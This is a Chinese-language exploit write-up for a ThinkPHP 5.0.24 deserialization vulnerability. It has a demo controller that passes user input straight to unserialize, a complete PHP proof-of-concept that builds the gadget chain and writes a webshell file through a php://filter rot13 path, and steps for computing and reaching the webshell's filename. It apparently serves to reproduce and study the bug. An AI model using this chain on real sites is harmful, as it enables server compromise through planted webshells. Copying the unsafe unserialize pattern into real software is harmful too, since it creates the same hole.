因为写入的文件名包含特殊符号,所以该漏洞只能在Linux中写入webshell,不能在Windows系统写入。这个漏洞的重点在于体会ThinkPHP的反序列化利用链。
演示环境:
Kali、ThinkPHP/5.0.24
演示代码:
application/index/controller/Index.php
1<?php 2namespace appindexcontroller; 3class Index { 4 public function index($input='') { 5 echo "Welcome thinkphp 5.0.24"; 6 echo $input; 7 unserialize($input); 8 } 9}
PoC:
1<?php 2//File类 3namespace think\cache\driver; 4class File { 5 // tag变量跟文件名有关 protected $tag='abcdef'; 6 protected $options = [ 7 'expire' => 3600, 8 'cache_subdir' => false, 9 'prefix' => '', // 写入文件 10 'path' => 'php://filter/write=string.rot13/resource=./static/<?cuc cucvasb();?>', 11 // 创建子目录 /* 'path' => './static/3a6c45/', */ 12 'data_compress' => false, 13 ]; 14} 15 16//Memcached类 17namespace think\session\driver; 18use think\cache\driver\File; 19class Memcached { 20 protected $handler = null; 21 function __construct() { 22 $this->handler=new File(); 23 } 24} 25 26//Output类 27namespace think\console; 28use think\session\driver\Memcached; 29class Output { 30 protected $styles = ['removeWhereField']; 31 private $handle = null; 32 function __construct() { 33 $this->handle=new Memcached(); 34 } 35} 36 37//HasOne类 38namespace think\model\relation; 39use think\console\Output; 40class HasOne { 41 protected $query = false; 42 function __construct() { 43 $this->query=new Output(); 44 } 45} 46 47//Pivot类 48namespace think\model; 49use think\model\relation\HasOne; 50class Pivot { 51 protected $append = ['getError']; 52 protected $error = false; 53 public function __construct() { 54 $this->error=new HasOne(); 55 } 56} 57 58//Windows类 59namespace think\process\pipes; 60use think\model\Pivot; 61class Windows { 62 private $files = []; 63 public function __construct() { 64 $this->files=[new Pivot()]; 65 } 66} 67 68$x=new Windows(); 69echo str_replace('+', '%20', urlencode(serialize($x)));
webshell的写入路径为:网站根目录/public/static/<?cuc cucvasb();?>md5(‘tag_’+md5($tag))。
如:$tag='abcdef',则文件名为:md5('abcdef') -> e80b5017098950fc58aad83c8c14978e -> md5(‘tag_e80b5017098950fc58aad83c8c14978e’) -> <?cuc cucvasb();?>468bc8d30505000a2d7d24702b2cda94.php
访问webshell时要对文件名进行URL编码。

参考链接:
《ThinkPHP v5.0.x 反序列化利用链挖掘》https://www.anquanke.com/post/id/196364
《ThinkPHP5.0.x反序列化利用链》https://xz.aliyun.com/t/7082
《ThinkPHP v5.0.x反序列化 Pop Chain复现(附POC)》https://drivertom.blogspot.com/2020/01/thinkphp-v50x-pop-chainpoc.html